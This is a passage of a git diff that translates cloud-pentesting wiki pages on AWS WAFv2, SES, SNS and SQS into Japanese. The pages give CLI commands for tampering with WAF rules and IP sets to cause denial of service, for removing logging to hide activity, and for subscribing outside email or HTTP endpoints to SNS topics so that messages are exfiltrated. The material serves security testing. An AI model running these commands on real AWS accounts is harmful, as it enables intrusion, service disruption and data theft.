CLOUDFRONT --region=us-east-1`。 +- APIおよびSDK - すべての呼び出しで、リージョンエンドポイントus-east-1を使用します。 -In order to interact with regional services, you should specify the region: - -- Example with the region Europe (Spain): `--scope REGIONAL --region=eu-south-2` +地域サービスと対話するには、リージョンを指定する必要があります： +- リージョンヨーロッパ（スペイン）の例：`--scope REGIONAL --region=eu-south-2` ```bash # Web ACLs # @@ -146,7 +145,7 @@ aws wafv2 list-ip-sets --scope | CLOUDFRONT --region= aws wafv2 get-ip-set --name --id --scope | CLOUDFRONT --region=us-east-1> ## Retrieve the keys that are currently being managed by a rate-based rule. aws wafv2 get-rate-based-statement-managed-keys --scope | CLOUDFRONT --region=us-east-1>\ - --web-acl-name --web-acl-id --rule-name [--rule-group-rule-name ] +--web-acl-name --web-acl-id --rule-name [--rule-group-rule-name ] # Regex pattern sets # @@ -186,78 +185,70 @@ aws wafv2 list-mobile-sdk-releases --platform aws wafv2 get-mobile-sdk-release --platform --release-version ``` - -### Post Exploitation / Bypass +### ポストエクスプロイテーション / バイパス > [!TIP] -> From an attackers perspective, this service can help the attacker to identify WAF protections and network exposures that could help him to compromise other webs. +> 攻撃者の視点から見ると、このサービスは攻撃者がWAFの保護やネットワークの露出を特定するのに役立ち、他のウェブを侵害する手助けとなる可能性があります。 > -> However, an attacker could also be interested in disrupting this service so the webs aren't protected by the WAF. +> しかし、攻撃者はこのサービスを妨害して、ウェブがWAFによって保護されないようにすることにも興味を持つかもしれません。 -In many of the Delete and Update operations it would be necessary to provide the **lock token**. This token is used for concurrency control over the resources, ensuring that changes are not accidentally overwritten by multiple users or processes attempting to update the same resource simultaneously. In order to obtain this token you could perform the correspondent **list** or **get** operations over the specific resource. +多くの削除および更新操作では、**ロックトークン**を提供する必要があります。このトークンはリソースに対する同時実行制御に使用され、変更が複数のユーザーまたはプロセスによって同時に同じリソースを更新しようとする際に偶然上書きされないようにします。このトークンを取得するためには、特定のリソースに対して対応する**リスト**または**取得**操作を実行することができます。 #### **`wafv2:CreateRuleGroup`, `wafv2:UpdateRuleGroup`, `wafv2:DeleteRuleGroup`** -An attacker would be able to compromise the security of the affected resource by: - -- Creating rule groups that could, for instance, block legitimate traffic from legitimate IP addresses, causing a denial of service. -- Updating rule groups, being able to modify its actions for example from **Block** to **Allow**. -- Deleting rule groups that provide critical security measures. +攻撃者は、影響を受けたリソースのセキュリティを侵害することができます： +- 正当なIPアドレスからの正当なトラフィックをブロックするルールグループを作成し、サービス拒否を引き起こすことができます。 +- ルールグループを更新し、例えばそのアクションを**ブロック**から**許可**に変更することができます。 +- 重要なセキュリティ対策を提供するルールグループを削除することができます。 ```bash # Create Rule Group aws wafv2 create-rule-group --name --capacity --visibility-config \ --scope | CLOUDFRONT --region=us-east-1> [--rules ] [--description ] # Update Rule Group aws wafv2 update-rule-group --name --id --visibility-config --lock-token \ - --scope | CLOUDFRONT --region=us-east-1> [--rules ] [--description ] +--scope | CLOUDFRONT --region=us-east-1> [--rules ] [--description ] # Delete Rule Group aws wafv2 delete-rule-group --name --id --lock-token --scope | CLOUDFRONT --region=us-east-1> ``` - -The following examples shows a rule group that would block legitimate traffic from specific IP addresses: - +以下の例は、特定のIPアドレスからの正当なトラフィックをブロックするルールグループを示しています： ```bash aws wafv2 create-rule-group --name BlockLegitimateIPsRuleGroup --capacity 1 --visibility-config SampledRequestsEnabled=false,CloudWatchMetricsEnabled=false,MetricName=BlockLegitimateIPsRuleGroup --scope CLOUDFRONT --region us-east-1 --rules file://rule.json ``` - -The **rule.json** file would look like: - +**rule.json** ファイルは次のようになります: ```json [ - { - "Name": "BlockLegitimateIPsRule", - "Priority": 0, - "Statement": { - "IPSetReferenceStatement": { - "ARN": "arn:aws:wafv2:us-east-1:123456789012:global/ipset/legitIPv4/1a2b3c4d-1a2b-1a2b-1a2b-1a2b3c4d5e6f" - } - }, - "Action": { - "Block": {} - }, - "VisibilityConfig": { - "SampledRequestsEnabled": false, - "CloudWatchMetricsEnabled": false, - "MetricName": "BlockLegitimateIPsRule" - } - } +{ +"Name": "BlockLegitimateIPsRule", +"Priority": 0, +"Statement": { +"IPSetReferenceStatement": { +"ARN": "arn:aws:wafv2:us-east-1:123456789012:global/ipset/legitIPv4/1a2b3c4d-1a2b-1a2b-1a2b-1a2b3c4d5e6f" +} +}, +"Action": { +"Block": {} +}, +"VisibilityConfig": { +"SampledRequestsEnabled": false, +"CloudWatchMetricsEnabled": false, +"MetricName": "BlockLegitimateIPsRule" +} +} ] ``` - -**Potential Impact**: Unauthorized access, data breaches, and potential DoS attacks. +**潜在的影響**: 不正アクセス、データ漏洩、及び潜在的なDoS攻撃。 #### **`wafv2:CreateWebACL`, `wafv2:UpdateWebACL`, `wafv2:DeleteWebACL`** -With these permissions, an attacker would be able to: +これらの権限を持つ攻撃者は以下のことが可能です： -- Create a new Web ACL, introducing rules that either allow malicious traffic through or block legitimate traffic, effectively rendering the WAF useless or causing a denial of service. -- Update existing Web ACLs, being able to modify rules to permit attacks such as SQL injection or cross-site scripting, which were previously blocked, or disrupt normal traffic flow by blocking valid requests. -- Delete a Web ACL, leaving the affected resources entirely unprotected, exposing it to a broad range of web attacks. +- 新しいWeb ACLを作成し、悪意のあるトラフィックを通過させるか、正当なトラフィックをブロックするルールを導入し、WAFを無効にするか、サービス拒否を引き起こす。 +- 既存のWeb ACLを更新し、以前はブロックされていたSQLインジェクションやクロスサイトスクリプティングなどの攻撃を許可するようにルールを変更したり、正当なリクエストをブロックすることで正常なトラフィックの流れを妨げる。 +- Web ACLを削除し、影響を受けたリソースを完全に無防備にし、広範囲なウェブ攻撃にさらす。 > [!NOTE] -> You can only delete the specified **WebACL** if **ManagedByFirewallManager** is false. - +> **ManagedByFirewallManager**がfalseの場合にのみ、指定された**WebACL**を削除できます。 ```bash # Create Web ACL aws wafv2 create-web-acl --name --default-action --visibility-config \ @@ -268,119 +259,109 @@ aws wafv2 update-web-acl --name --id --default-action -- # Delete Web ACL aws wafv2 delete-web-acl --name --id --lock-token --scope | CLOUDFRONT --region=us-east-1> ``` +以下の例は、特定のIPセットからの正当なトラフィックをブロックするためにWeb ACLを更新する方法を示しています。元のIPがこれらのIPのいずれとも一致しない場合、デフォルトのアクションもブロックとなり、DoSを引き起こすことになります。 -The following examples shows how to update a Web ACL to block the legitimate traffic from a specific IP set. If the origin IP does not match any of those IPs, the default action would also be blocking it, causing a DoS. - -**Original Web ACL**: - +**元のWeb ACL**: ```json { - "WebACL": { - "Name": "AllowLegitimateIPsWebACL", - "Id": "1a2b3c4d-1a2b-1a2b-1a2b-1a2b3c4d5e6f", - "ARN": "arn:aws:wafv2:us-east-1:123456789012:regional/webacl/AllowLegitimateIPsWebACL/1a2b3c4d-1a2b-1a2b-1a2b-1a2b3c4d5e6f", - "DefaultAction": { - "Allow": {} - }, - "Description": "", - "Rules": [ - { - "Name": "AllowLegitimateIPsRule", - "Priority": 0, - "Statement": { - "IPSetReferenceStatement": { - "ARN": "arn:aws:wafv2:us-east-1:123456789012:regional/ipset/LegitimateIPv4/1a2b3c4d-1a2b-1a2b-1a2b-1a2b3c4d5e6f" - } - }, - "Action": { - "Allow": {} - }, - "VisibilityConfig": { - "SampledRequestsEnabled": false, - "CloudWatchMetricsEnabled": false, - "MetricName": "AllowLegitimateIPsRule" - } - } - ], - "VisibilityConfig": { - "SampledRequestsEnabled": false, - "CloudWatchMetricsEnabled": false, - "MetricName": "AllowLegitimateIPsWebACL" - }, - "Capacity": 1, - "ManagedByFirewallManager": false, - "LabelNamespace": "awswaf:123456789012:webacl:AllowLegitimateIPsWebACL:" - }, - "LockToken": "1a2b3c4d-1a2b-1a2b-1a2b-1a2b3c4d5e6f" +"WebACL": { +"Name": "AllowLegitimateIPsWebACL", +"Id": "1a2b3c4d-1a2b-1a2b-1a2b-1a2b3c4d5e6f", +"ARN": "arn:aws:wafv2:us-east-1:123456789012:regional/webacl/AllowLegitimateIPsWebACL/1a2b3c4d-1a2b-1a2b-1a2b-1a2b3c4d5e6f", +"DefaultAction": { +"Allow": {} +}, +"Description": "", +"Rules": [ +{ +"Name": "AllowLegitimateIPsRule", +"Priority": 0, +"Statement": { +"IPSetReferenceStatement": { +"ARN": "arn:aws:wafv2:us-east-1:123456789012:regional/ipset/LegitimateIPv4/1a2b3c4d-1a2b-1a2b-1a2b-1a2b3c4d5e6f" +} +}, +"Action": { +"Allow": {} +}, +"VisibilityConfig": { +"SampledRequestsEnabled": false, +"CloudWatchMetricsEnabled": false, +"MetricName": "AllowLegitimateIPsRule" +} +} +], +"VisibilityConfig": { +"SampledRequestsEnabled": false, +"CloudWatchMetricsEnabled": false, +"MetricName": "AllowLegitimateIPsWebACL" +}, +"Capacity": 1, +"ManagedByFirewallManager": false, +"LabelNamespace": "awswaf:123456789012:webacl:AllowLegitimateIPsWebACL:" +}, +"LockToken": "1a2b3c4d-1a2b-1a2b-1a2b-1a2b3c4d5e6f" } ``` - -Command to update the Web ACL: - +Web ACLを更新するためのコマンド: ```json aws wafv2 update-web-acl --name AllowLegitimateIPsWebACL --scope REGIONAL --id 1a2b3c4d-1a2b-1a2b-1a2b-1a2b3c4d5e6f --lock-token 1a2b3c4d-1a2b-1a2b-1a2b-1a2b3c4d5e6f --default-action Block={} --visibility-config SampledRequestsEnabled=false,CloudWatchMetricsEnabled=false,MetricName=AllowLegitimateIPsWebACL --rules file://rule.json --region us-east-1 ``` - -The **rule.json** file would look like: - +**rule.json** ファイルは次のようになります: ```json [ - { - "Name": "BlockLegitimateIPsRule", - "Priority": 0, - "Statement": { - "IPSetReferenceStatement": { - "ARN": "arn:aws:wafv2:us-east-1:123456789012:regional/ipset/LegitimateIPv4/1a2b3c4d-1a2b-1a2b-1a2b-1a2b3c4d5e6f" - } - }, - "Action": { - "Block": {} - }, - "VisibilityConfig": { - "SampledRequestsEnabled": false, - "CloudWatchMetricsEnabled": false, - "MetricName": "BlockLegitimateIPRule" - } - } +{ +"Name": "BlockLegitimateIPsRule", +"Priority": 0, +"Statement": { +"IPSetReferenceStatement": { +"ARN": "arn:aws:wafv2:us-east-1:123456789012:regional/ipset/LegitimateIPv4/1a2b3c4d-1a2b-1a2b-1a2b-1a2b3c4d5e6f" +} +}, +"Action": { +"Block": {} +}, +"VisibilityConfig": { +"SampledRequestsEnabled": false, +"CloudWatchMetricsEnabled": false, +"MetricName": "BlockLegitimateIPRule" +} +} ] ``` - -**Potential Impact**: Unauthorized access, data breaches, and potential DoS attacks. +**潜在的な影響**: 不正アクセス、データ漏洩、及び潜在的なDoS攻撃。 #### **`wafv2:AssociateWebACL`, `wafv2:DisassociateWebACL`** -The **`wafv2:AssociateWebACL`** permission would allow an attacker to associate web ACLs (Access Control Lists) with resources, being able to bypass security controls, allowing unauthorized traffic to reach the application, potentially leading to exploits like SQL injection or cross-site scripting (XSS). Conversely, with the **`wafv2:DisassociateWebACL`** permission, the attacker could temporarily disable security protections, exposing the resources to vulnerabilities without detection. +**`wafv2:AssociateWebACL`** 権限は、攻撃者がリソースにウェブACL（アクセス制御リスト）を関連付けることを可能にし、セキュリティ制御を回避して不正なトラフィックがアプリケーションに到達することを許可し、SQLインジェクションやクロスサイトスクリプティング（XSS）などの脆弱性につながる可能性があります。逆に、**`wafv2:DisassociateWebACL`** 権限を持つ攻撃者は、セキュリティ保護を一時的に無効にし、リソースを検出されることなく脆弱性にさらすことができます。 -The additional permissions would be needed depending on the protected resource type: - -- **Associate** - - apigateway:SetWebACL - - apprunner:AssociateWebAcl - - appsync:SetWebACL - - cognito-idp:AssociateWebACL - - ec2:AssociateVerifiedAccessInstanceWebAcl - - elasticloadbalancing:SetWebAcl -- **Disassociate** - - apigateway:SetWebACL - - apprunner:DisassociateWebAcl - - appsync:SetWebACL - - cognito-idp:DisassociateWebACL - - ec2:DisassociateVerifiedAccessInstanceWebAcl - - elasticloadbalancing:SetWebAcl +保護されるリソースの種類に応じて、追加の権限が必要になります： +- **関連付け** +- apigateway:SetWebACL +- apprunner:AssociateWebAcl +- appsync:SetWebACL +- cognito-idp:AssociateWebACL +- ec2:AssociateVerifiedAccessInstanceWebAcl +- elasticloadbalancing:SetWebAcl +- **関連解除** +- apigateway:SetWebACL +- apprunner:DisassociateWebAcl +- appsync:SetWebACL +- cognito-idp:DisassociateWebACL +- ec2:DisassociateVerifiedAccessInstanceWebAcl +- elasticloadbalancing:SetWebAcl ```bash # Associate aws wafv2 associate-web-acl --web-acl-arn --resource-arn # Disassociate aws wafv2 disassociate-web-acl --resource-arn ``` - -**Potential Impact**: Compromised resources security, increased risk of exploitation, and potential service disruptions within AWS environments protected by AWS WAF. +**潜在的な影響**: リソースのセキュリティが侵害され、悪用のリスクが増加し、AWS WAFによって保護されたAWS環境内でのサービスの中断の可能性。 #### **`wafv2:CreateIPSet` , `wafv2:UpdateIPSet`, `wafv2:DeleteIPSet`** -An attacker would be able to create, update and delete the IP sets managed by AWS WAF. This could be dangerous since could create new IP sets to allow malicious traffic, modify IP sets in order to block legitimate traffic, update existing IP sets to include malicious IP addresses, remove trusted IP addresses or delete critical IP sets that are meant to protect critical resources. - +攻撃者はAWS WAFによって管理されるIPセットを作成、更新、削除することができる。これは危険であり、悪意のあるトラフィックを許可するために新しいIPセットを作成したり、正当なトラフィックをブロックするためにIPセットを変更したり、悪意のあるIPアドレスを含めるために既存のIPセットを更新したり、信頼されたIPアドレスを削除したり、重要なリソースを保護するために意図された重要なIPセットを削除したりする可能性がある。 ```bash # Create IP set aws wafv2 create-ip-set --name --ip-address-version --addresses --scope | CLOUDFRONT --region=us-east-1> @@ -389,23 +370,19 @@ aws wafv2 update-ip-set --name --id --addresses --lock-t # Delete IP set aws wafv2 delete-ip-set --name --id --lock-token --scope | CLOUDFRONT --region=us-east-1> ``` - -The following example shows how to **overwrite the existing IP set by the desired IP set**: - +以下の例は、**希望するIPセットで既存のIPセットを上書きする方法**を示しています： ```bash aws wafv2 update-ip-set --name LegitimateIPv4Set --id 1a2b3c4d-1a2b-1a2b-1a2b-1a2b3c4d5e6f --addresses 99.99.99.99/32 --lock-token 1a2b3c4d-1a2b-1a2b-1a2b-1a2b3c4d5e6f --scope CLOUDFRONT --region us-east-1 ``` - -**Potential Impact**: Unauthorized access and block of legitimate traffic. +**潜在的な影響**: 不正アクセスと正当なトラフィックのブロック。 #### **`wafv2:CreateRegexPatternSet`** , **`wafv2:UpdateRegexPatternSet`**, **`wafv2:DeleteRegexPatternSet`** -An attacker with these permissions would be able to manipulate the regular expression pattern sets used by AWS WAF to control and filter incoming traffic based on specific patterns. - -- Creating new regex patterns would help an attacker to allow harmful content -- Updating the existing patterns, an attacker would to bypass security rules -- Deleting patterns that are designed to block malicious activities could lead an attacker to the send malicious payloads and bypass the security measures. +これらの権限を持つ攻撃者は、特定のパターンに基づいて受信トラフィックを制御およびフィルタリングするためにAWS WAFで使用される正規表現パターンセットを操作することができます。 +- 新しい正規表現パターンを作成することで、攻撃者は有害なコンテンツを許可することができます。 +- 既存のパターンを更新することで、攻撃者はセキュリティルールを回避することができます。 +- 悪意のある活動をブロックするために設計されたパターンを削除することで、攻撃者は悪意のあるペイロードを送信し、セキュリティ対策を回避することができます。 ```bash # Create regex pattern set aws wafv2 create-regex-pattern-set --name --regular-expression-list --scope | CLOUDFRONT --region=us-east-1> [--description ] @@ -414,62 +391,51 @@ aws wafv2 update-regex-pattern-set --name --id --regular-express # Delete regex pattern set aws wafv2 delete-regex-pattern-set --name --scope | CLOUDFRONT --region=us-east-1> --id --lock-token ``` - -**Potential Impact**: Bypass security controls, allowing malicious content and potentially exposing sensitive data or disrupting services and resources protected by AWS WAF. +**潜在的な影響**: セキュリティ制御をバイパスし、悪意のあるコンテンツを許可し、機密データを露出させたり、AWS WAFによって保護されたサービスやリソースを妨害する可能性があります。 #### **(`wavf2:PutLoggingConfiguration` &** `iam:CreateServiceLinkedRole`), **`wafv2:DeleteLoggingConfiguration`** -An attacker with the **`wafv2:DeleteLoggingConfiguration`** would be able to remove the logging configuration from the specified Web ACL. Subsequently, with the **`wavf2:PutLoggingConfiguration`** and **`iam:CreateServiceLinkedRole`** permissions, an attacker could create or replace logging configurations (after having deleted it) to either prevent logging altogether or redirect logs to unauthorized destinations, such as Amazon S3 buckets, Amazon CloudWatch Logs log group or an Amazon Kinesis Data Firehose under control. +**`wafv2:DeleteLoggingConfiguration`** の権限を持つ攻撃者は、指定されたWeb ACLからログ設定を削除することができます。その後、**`wavf2:PutLoggingConfiguration`** と **`iam:CreateServiceLinkedRole`** の権限を使用して、攻撃者はログ設定を作成または置き換えることができ（削除した後）、ログを完全に防止するか、Amazon S3バケット、Amazon CloudWatch Logsロググループ、または制御下のAmazon Kinesis Data Firehoseなどの不正な宛先にリダイレクトすることができます。 -During the creation process, the service automatically sets up the necessary permissions to allow logs to be written to the specified logging destination: +作成プロセス中、サービスは指定されたログ宛先にログが書き込まれるために必要な権限を自動的に設定します： -- **Amazon CloudWatch Logs:** AWS WAF creates a resource policy on the designated CloudWatch Logs log group. This policy ensures that AWS WAF has the permissions required to write logs to the log group. -- **Amazon S3 Bucket:** AWS WAF creates a bucket policy on the designated S3 bucket. This policy grants AWS WAF the permissions necessary to upload logs to the specified bucket. -- **Amazon Kinesis Data Firehose:** AWS WAF creates a service-linked role specifically for interacting with Kinesis Data Firehose. This role allows AWS WAF to deliver logs to the configured Firehose stream. +- **Amazon CloudWatch Logs:** AWS WAFは指定されたCloudWatch Logsロググループにリソースポリシーを作成します。このポリシーは、AWS WAFがロググループにログを書き込むために必要な権限を持っていることを保証します。 +- **Amazon S3バケット:** AWS WAFは指定されたS3バケットにバケットポリシーを作成します。このポリシーは、AWS WAFが指定されたバケットにログをアップロードするために必要な権限を付与します。 +- **Amazon Kinesis Data Firehose:** AWS WAFはKinesis Data Firehoseと対話するために特にサービスリンクロールを作成します。このロールにより、AWS WAFは構成されたFirehoseストリームにログを配信することができます。 > [!NOTE] -> It is possible to define only one logging destination per web ACL. - +> Web ACLごとに1つのログ宛先のみを定義することが可能です。 ```bash # Put logging configuration aws wafv2 put-logging-configuration --logging-configuration # Delete logging configuration aws wafv2 delete-logging-configuration --resource-arn [--log-scope ] [--log-type ] ``` - -**Potential Impact:** Obscure visibility into security events, difficult the incident response process, and facilitate covert malicious activities within AWS WAF-protected environments. +**潜在的な影響:** セキュリティイベントの可視性が不明瞭になり、インシデントレスポンスプロセスが困難になり、AWS WAFで保護された環境内での隠れた悪意のある活動を助長する。 #### **`wafv2:DeleteAPIKey`** -An attacker with this permissions would be able to delete existing API keys, rendering the CAPTCHA ineffective and disrupting the functionality that relies on it, such as form submissions and access controls. Depending on the implementation of this CAPTCHA, this could lead either to a CAPTCHA bypass or to a DoS if the error management is not properly set in the resource. - +この権限を持つ攻撃者は、既存のAPIキーを削除でき、CAPTCHAを無効にし、それに依存する機能（フォーム送信やアクセス制御など）を妨害します。このCAPTCHAの実装によっては、CAPTCHAのバイパスや、リソースでのエラーマネジメントが適切に設定されていない場合、DoSにつながる可能性があります。 ```bash # Delete API key aws wafv2 delete-api-key --api-key --scope | CLOUDFRONT --region=us-east-1> ``` - -**Potential Impact**: Disable CAPTCHA protections or disrupt application functionality, leading to security breaches and potential data theft. +**潜在的な影響**: CAPTCHA保護を無効にしたり、アプリケーションの機能を妨害したりすることで、セキュリティ侵害やデータ盗難の可能性が生じます。 #### **`wafv2:TagResource`, `wafv2:UntagResource`** -An attacker would be able to add, modify, or remove tags from AWS WAFv2 resources, such as Web ACLs, rule groups, IP sets, regex pattern sets, and logging configurations. - +攻撃者は、Web ACL、ルールグループ、IPセット、正規表現パターンセット、ログ設定などのAWS WAFv2リソースからタグを追加、変更、または削除することができるようになります。 ```bash # Tag aws wafv2 tag-resource --resource-arn --tags # Untag aws wafv2 untag-resource --resource-arn --tag-keys ``` +**潜在的影響**: リソースの改ざん、情報漏洩、コスト操作、運用の混乱。 -**Potential Impact**: Resource tampering, information leakage, cost manipulation and operational disruption. - -## References +## 参考文献 - [https://www.citrusconsulting.com/aws-web-application-firewall-waf/#:\~:text=Conditions%20allow%20you%20to%20specify,user%20via%20a%20web%20application](https://www.citrusconsulting.com/aws-web-application-firewall-waf/) - [https://docs.aws.amazon.com/service-authorization/latest/reference/list_awswafv2.html](https://docs.aws.amazon.com/service-authorization/latest/reference/list_awswafv2.html) {{#include ../../../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-cloud/aws-security/aws-services/aws-ses-enum.md b/src/pentesting-cloud/aws-security/aws-services/aws-ses-enum.md index bc6af90f1..10330391a 100644 --- a/src/pentesting-cloud/aws-security/aws-services/aws-ses-enum.md +++ b/src/pentesting-cloud/aws-security/aws-services/aws-ses-enum.md @@ -2,45 +2,40 @@ {{#include ../../../banners/hacktricks-training.md}} -## Basic Information +## 基本情報 -Amazon Simple Email Service (Amazon SES) is designed for **sending and receiving emails**. It enables users to send transactional, marketing, or notification emails efficiently and securely at scale. It **integrates well with other AWS services**, providing a robust solution for managing email communications for businesses of all sizes. +Amazon Simple Email Service (Amazon SES) は **メールの送受信** のために設計されています。これにより、ユーザーはトランザクション、マーケティング、または通知メールを効率的かつ安全に大規模に送信できます。これは **他のAWSサービスと良好に統合され**、あらゆる規模のビジネスのためのメールコミュニケーション管理のための堅牢なソリューションを提供します。 -You need to register **identities**, which can be domains or emails addresses that will be able to interact with SES (e.g. send and receive emails). +**アイデンティティ** を登録する必要があります。これはSESと対話できるドメインまたはメールアドレス（例：メールの送受信）です。 -### SMTP User - -It's possible to connect to a **SMTP server of AWS to perform actions** instead of using the AWS API (or in addition). For this you need to create a user with a policy such as: +### SMTPユーザー +AWSの **SMTPサーバーに接続してアクションを実行する** ことが可能です。これには、AWS APIを使用する代わりに（または追加で）ユーザーを作成し、次のようなポリシーを設定する必要があります： ```json { - "Version": "2012-10-17", - "Statement": [ - { - "Effect": "Allow", - "Action": "ses:SendRawEmail", - "Resource": "*" - } - ] +"Version": "2012-10-17", +"Statement": [ +{ +"Effect": "Allow", +"Action": "ses:SendRawEmail", +"Resource": "*" +} +] } ``` - -Then, gather the **API key and secret** of the user and run: - +次に、ユーザーの**APIキーとシークレット**を収集し、実行します: ```bash git clone https://github.com/lisenet/ses-smtp-converter.git cd ./ses-smtp-converter chmod u+x ./ses-smtp-conv.sh ./ses-smtp-conv.sh ``` +AWSコンソールウェブからもこれを行うことが可能です。 -It's also possible to do this from the AWS console web. - -### Enumeration +### 列挙 > [!WARNING] -> Note that SES has 2 APIs: **`ses`** and **`sesv2`**. Some actions are in both APIs and others are just in one of the two. - +> SESには2つのAPIがあります: **`ses`** と **`sesv2`**。いくつかのアクションは両方のAPIにあり、他のアクションは2つのうちの1つのAPIのみにあります。 ```bash # Get info about the SES account aws sesv2 get-account @@ -117,15 +112,10 @@ aws ses get-send-quota ## Get statistics aws ses get-send-statistics ``` - -### Post Exploitation +### ポストエクスプロイテーション {{#ref}} ../aws-post-exploitation/aws-ses-post-exploitation.md {{#endref}} {{#include ../../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-cloud/aws-security/aws-services/aws-sns-enum.md b/src/pentesting-cloud/aws-security/aws-services/aws-sns-enum.md index cca4353cb..e14f5d215 100644 --- a/src/pentesting-cloud/aws-security/aws-services/aws-sns-enum.md +++ b/src/pentesting-cloud/aws-security/aws-services/aws-sns-enum.md @@ -4,18 +4,17 @@ ## SNS -Amazon Simple Notification Service (Amazon SNS) is described as a **fully managed messaging service**. It supports both **application-to-application** (A2A) and **application-to-person** (A2P) communication types. +Amazon Simple Notification Service (Amazon SNS) は **完全に管理されたメッセージングサービス** として説明されています。これは **アプリケーション間** (A2A) と **アプリケーションから人** (A2P) の通信タイプの両方をサポートしています。 -Key features for A2A communication include **publish/subscribe (pub/sub) mechanisms**. These mechanisms introduce **topics**, crucial for enabling high-throughput, **push-based, many-to-many messaging**. This feature is highly advantageous in scenarios that involve distributed systems, microservices, and event-driven serverless architectures. By leveraging these topics, publisher systems can efficiently distribute messages to a **wide range of subscriber systems**, facilitating a fanout messaging pattern. +A2A通信の主な機能には **公開/購読 (pub/sub) メカニズム** が含まれます。これらのメカニズムは **トピック** を導入し、高スループットの **プッシュベースの多対多メッセージング** を可能にするために重要です。この機能は、分散システム、マイクロサービス、およびイベント駆動型サーバーレスアーキテクチャを含むシナリオで非常に有利です。これらのトピックを活用することで、発行システムは **広範囲の購読システム** にメッセージを効率的に配信し、ファンアウトメッセージングパターンを促進できます。 -### **Difference with SQS** +### **SQSとの違い** -**SQS** is a **queue-based** service that allows point-to-point communication, ensuring that messages are processed by a **single consumer**. It offers **at-least-once delivery**, supports standard and FIFO queues, and allows message retention for retries and delayed processing.\ -On the other hand, **SNS** is a **publish/subscribe-based service**, enabling **one-to-many** communication by broadcasting messages to **multiple subscribers** simultaneously. It supports **various subscription endpoints like email, SMS, Lambda functions, and HTTP/HTTPS**, and provides filtering mechanisms for targeted message delivery.\ -While both services enable decoupling between components in distributed systems, SQS focuses on queued communication, and SNS emphasizes event-driven, fan-out communication patterns. - -### **Enumeration** +**SQS** は **キューに基づく** サービスであり、ポイントツーポイント通信を可能にし、メッセージが **単一の消費者** によって処理されることを保証します。これは **少なくとも1回の配信** を提供し、標準およびFIFOキューをサポートし、再試行や遅延処理のためのメッセージ保持を許可します。\ +一方、**SNS** は **公開/購読に基づくサービス** であり、メッセージを **複数の購読者** に同時にブロードキャストすることによって **1対多** の通信を可能にします。これは **メール、SMS、Lambda関数、HTTP/HTTPS** などのさまざまな購読エンドポイントをサポートし、ターゲットメッセージ配信のためのフィルタリングメカニズムを提供します。\ +両方のサービスは分散システム内のコンポーネント間のデカップリングを可能にしますが、SQSはキュー通信に焦点を当て、SNSはイベント駆動型のファンアウト通信パターンを強調しています。 +### **列挙** ```bash # Get topics & subscriptions aws sns list-topics @@ -24,60 +23,55 @@ aws sns list-subscriptions-by-topic --topic-arn # Check privescs & post-exploitation aws sns publish --region \ - --topic-arn "arn:aws:sns:us-west-2:123456789012:my-topic" \ - --message file://message.txt +--topic-arn "arn:aws:sns:us-west-2:123456789012:my-topic" \ +--message file://message.txt # Exfiltrate through email ## You will receive an email to confirm the subscription aws sns subscribe --region \ - --topic-arn arn:aws:sns:us-west-2:123456789012:my-topic \ - --protocol email \ - --notification-endpoint my-email@example.com +--topic-arn arn:aws:sns:us-west-2:123456789012:my-topic \ +--protocol email \ +--notification-endpoint my-email@example.com # Exfiltrate through web server ## You will receive an initial request with a URL in the field "SubscribeURL" ## that you need to access to confirm the subscription aws sns subscribe --region \ - --protocol http \ - --notification-endpoint http:/// \ - --topic-arn +--protocol http \ +--notification-endpoint http:/// \ +--topic-arn ``` - > [!CAUTION] -> Note that if the **topic is of type FIFO**, only subscribers using the protocol **SQS** can be used (HTTP or HTTPS cannot be used). +> **トピックがFIFOタイプの場合**、**SQS**プロトコルを使用するサブスクライバーのみが使用できます（HTTPまたはHTTPSは使用できません）。 > -> Also, even if the `--topic-arn` contains the region make sure you specify the correct region in **`--region`** or you will get an error that looks like indicate that you don't have access but the problem is the region. +> また、`--topic-arn`にリージョンが含まれていても、**`--region`**で正しいリージョンを指定することを確認してください。そうしないと、アクセス権がないことを示すエラーが表示されますが、問題はリージョンです。 -#### Unauthenticated Access +#### 認証されていないアクセス {{#ref}} ../aws-unauthenticated-enum-access/aws-sns-unauthenticated-enum.md {{#endref}} -#### Privilege Escalation +#### 権限昇格 {{#ref}} ../aws-privilege-escalation/aws-sns-privesc.md {{#endref}} -#### Post Exploitation +#### ポストエクスプロイト {{#ref}} ../aws-post-exploitation/aws-sns-post-exploitation.md {{#endref}} -#### Persistence +#### 永続性 {{#ref}} ../aws-persistence/aws-sns-persistence.md {{#endref}} -## References +## 参考文献 - [https://aws.amazon.com/about-aws/whats-new/2022/01/amazon-sns-attribute-based-access-controls/](https://aws.amazon.com/about-aws/whats-new/2022/01/amazon-sns-attribute-based-access-controls/) {{#include ../../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-cloud/aws-security/aws-services/aws-sqs-and-sns-enum.md b/src/pentesting-cloud/aws-security/aws-services/aws-sqs-and-sns-enum.md index 1da888587..69b280be4 100644 --- a/src/pentesting-cloud/aws-security/aws-services/aws-sqs-and-sns-enum.md +++ b/src/pentesting-cloud/aws-security/aws-services/aws-sqs-and-sns-enum.md @@ -4,10 +4,9 @@ ## SQS -Amazon Simple Queue Service (SQS) is presented as a **fully managed message queuing service**. Its main function is to assist in the scaling and decoupling of microservices, distributed systems, and serverless applications. The service is designed to remove the need for managing and operating message-oriented middleware, which can often be complex and resource-intensive. This elimination of complexity allows developers to direct their efforts towards more innovative and differentiating aspects of their work. +Amazon Simple Queue Service (SQS) は **完全管理型メッセージキューサービス** として提供されています。その主な機能は、マイクロサービス、分散システム、およびサーバーレスアプリケーションのスケーリングとデカップリングを支援することです。このサービスは、しばしば複雑でリソースを多く消費するメッセージ指向ミドルウェアの管理と運用の必要性を排除するように設計されています。この複雑さの排除により、開発者は自分の作業のより革新的で差別化された側面に努力を向けることができます。 ### Enumeration - ```bash # Get queues info aws sqs list-queues @@ -18,40 +17,35 @@ aws sqs receive-message --queue-url aws sqs send-message --queue-url --message-body ``` - > [!CAUTION] -> Also, even if the `--queue-url` contains the region make sure you specify the correct region in **`--region`** or you will get an error that looks like indicate that you don't have access but the problem is the region. +> また、`--queue-url` にリージョンが含まれていても、**`--region`** で正しいリージョンを指定することを確認してください。そうしないと、アクセス権がないことを示すエラーが表示されますが、問題はリージョンです。 -#### Unauthenticated Access +#### 認証されていないアクセス {{#ref}} ../aws-unauthenticated-enum-access/aws-sqs-unauthenticated-enum.md {{#endref}} -#### Privilege Escalation +#### 権限昇格 {{#ref}} ../aws-privilege-escalation/aws-sqs-privesc.md 